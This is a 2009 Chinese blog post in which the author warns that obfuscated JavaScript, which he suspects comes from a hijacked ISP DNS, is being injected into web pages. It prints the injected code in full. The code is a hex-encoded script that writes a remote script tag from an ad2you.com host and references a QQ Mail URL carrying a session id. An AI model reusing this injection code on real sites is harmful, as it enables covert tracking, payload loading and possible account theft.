电子商务师罗永强(Rossy)的博客

今天下午开始，打开网页偶尔都会出现这样一段代码，做网站建设以来，类似这样的代码已经很敏感了，所以一看就是出问题了，不知道是什么病毒？木马？

在网上搜索了一下，搜索量不多，但有几个帖都说到是用的铁通的宽带，可能就是铁通的DNS被挂马了！

var _0xccce=["\x67\ x67","\ x67\x64","\x63\x71","\x3C\x 73\x63\x72\x69\x70

\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x27\x6A\x61\x76\x61\x73\x63\

x72\x69\x70\x74\x27\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\

x63\x74\x74\x31\x2E\x61\x64\x32\x79\x6F\x75\x2E\x63\x6F\x6D\x2F\x69\x70\

x75\x73\x68\x2E\x70\x68\x70\x3F\x73\x72\x63\x3D","\x26\x74\x3D","\x74\x69\

x74\x6C\x65","\x26\x75\x3D\x25\x73","\x27\x3E\x3C\x2F\x73\x63\x72\x69\x70\

x74\x3E","\x77\x72\x69\x74\x65","\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\

x6E\x67\x75\x61\x67\x65\x3D\x27\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\

x27\x20\x73\x72\x63\x3D\x27","\x25\x73"];var a=[_0xccce[0x0],_0xccce[0x1],_0xccce

[0x2]];var s=_0xccce[0x3]+a[0x1]+_0xccce[0x4]+encodeURIComponent(document[_0xccce[0x5]])

+”&u=vs1vvwxwycre”+_0xccce[0x7];document[_0xccce[0x8]](s);s=_0xccce[0x9]

+”http://m334.mail.qq.com/cgi-bin/readmail?

sid=0xk2JNz8VQJITkcN&mailid=390000000012463391791618761173&t=readmail&s=&refresh

_maillist=true”+_0xccce[0x7];document[_0xccce[0x8]](s);

网络不安全，注意加强防范意识咯！可能这段代码与盗号有关，千万小心！看 惊！微软曝出0day漏洞导致967个网站被挂马

Tags: 病毒，木马

电子商务师罗永强的博客已经转移至: http://www.ybfq.com .欢迎各位的到来.

This entry was posted on Tuesday, June 30th, 2009 at 10:39 pm and is filed under 文章. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.